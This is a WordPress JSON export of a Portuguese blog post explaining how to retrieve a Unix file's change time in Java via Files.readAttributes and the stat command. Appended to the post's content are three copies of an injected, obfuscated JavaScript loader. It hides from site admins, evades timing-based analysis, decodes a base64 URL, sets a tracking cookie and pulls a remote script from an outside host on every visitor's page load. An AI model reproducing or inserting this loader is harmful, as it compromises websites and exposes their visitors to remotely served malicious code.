{"id":4342,"date":"2018-09-18T10:24:56","date_gmt":"2018-09-18T13:24:56","guid":{"rendered":"http:\/\/thiagovespa.com.br\/blog\/?p=4342"},"modified":"2025-10-26T22:31:16","modified_gmt":"2025-10-27T01:31:16","slug":"como-recuperar-a-data-e-hora-que-um-arquivo-foi-movido","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2018\/09\/18\/como-recuperar-a-data-e-hora-que-um-arquivo-foi-movido\/","title":{"rendered":"Como recuperar a data e hora que um arquivo foi movido"},"content":{"rendered":"<p>Sistemas baseados em Unix possuem alguns atributos que n\u00e3o est\u00e3o dispon\u00edveis de forma intuitiva na linguagem Java, nem h\u00e1 documenta\u00e7\u00e3o a respeito. Entretanto, em algumas situa\u00e7\u00f5es se faz necess\u00e1ria a utiliza\u00e7\u00e3o dessa informa\u00e7\u00e3o. Por exemplo, quando movemos um arquivo de local, o \u00fanico atributo que possui a data de altera\u00e7\u00e3o \u00e9 o \"<em>change time<\/em>\" que pode ser consultado pelo comando <em>stat<\/em>.<\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">&gt; stat 412412312.txt \n  File: 412412312.txt\n  Size: 0         \tBlocks: 0          IO Block: 4096   regular empty file\nDevice: 802h\/2050d\tInode: 17563908    Links: 1\nAccess: (0644\/-rw-r--r--)  Uid: ( 1000\/  thiago)   Gid: ( 1000\/  thiago)\nAccess: 2018-09-14 14:57:44.899000835 -0300\nModify: 2018-09-14 14:57:44.899000835 -0300\nChange: 2018-09-14 14:58:39.583004882 -0300\n Birth: -<\/pre>\n<p>Com isso sabemos que esses atributos est\u00e3o dispon\u00edveis no arquivo. Para recuperar todos esses atributos do contexto Unix, no Java, pode-se utilizar o seguinte comando:<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">\t        Path path = Paths.get(filePath);\n\t        Map f  = Files.readAttributes(path, &quot;unix:*&quot;);\n\t        System.out.println(f);<\/pre>\n<p>Onde <em>filePath<\/em> \u00e9 o caminho onde est\u00e1 o arquivo\/diret\u00f3rio. Ou, se deseja recuperar apenas um atributo, como o Change Time (ctime), pode-se realizar da seguinte forma:<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">\t\t\tSystem.out.println(Files.getAttribute(path,&quot;unix:ctime&quot;));\n<\/pre>\n<p>Para mais informa\u00e7\u00f5es de como trabalhar com atributos, pode-se encontrar <a href=\"https:\/\/docs.oracle.com\/javase\/tutorial\/essential\/io\/fileAttr.html\" target=\"_blank\" rel=\"noopener\">aqui<\/a>.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Sistemas baseados em Unix possuem alguns atributos que n\u00e3o est\u00e3o dispon\u00edveis de forma intuitiva na linguagem Java, nem h\u00e1 documenta\u00e7\u00e3o a respeito. Entretanto, em algumas situa\u00e7\u00f5es se faz necess\u00e1ria a utiliza\u00e7\u00e3o dessa informa\u00e7\u00e3o. Por exemplo, quando movemos um arquivo de <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2018\/09\/18\/como-recuperar-a-data-e-hora-que-um-arquivo-foi-movido\/\">Continue lendo  <span class=\"screen-reader-text\">  Como recuperar a data e hora que um arquivo foi movido<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3,64],"tags":[],"class_list":["post-4342","post","type-post","status-publish","format-standard","hentry","category-java","category-linux"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/4342","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=4342"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/4342\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=4342"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=4342"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=4342"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}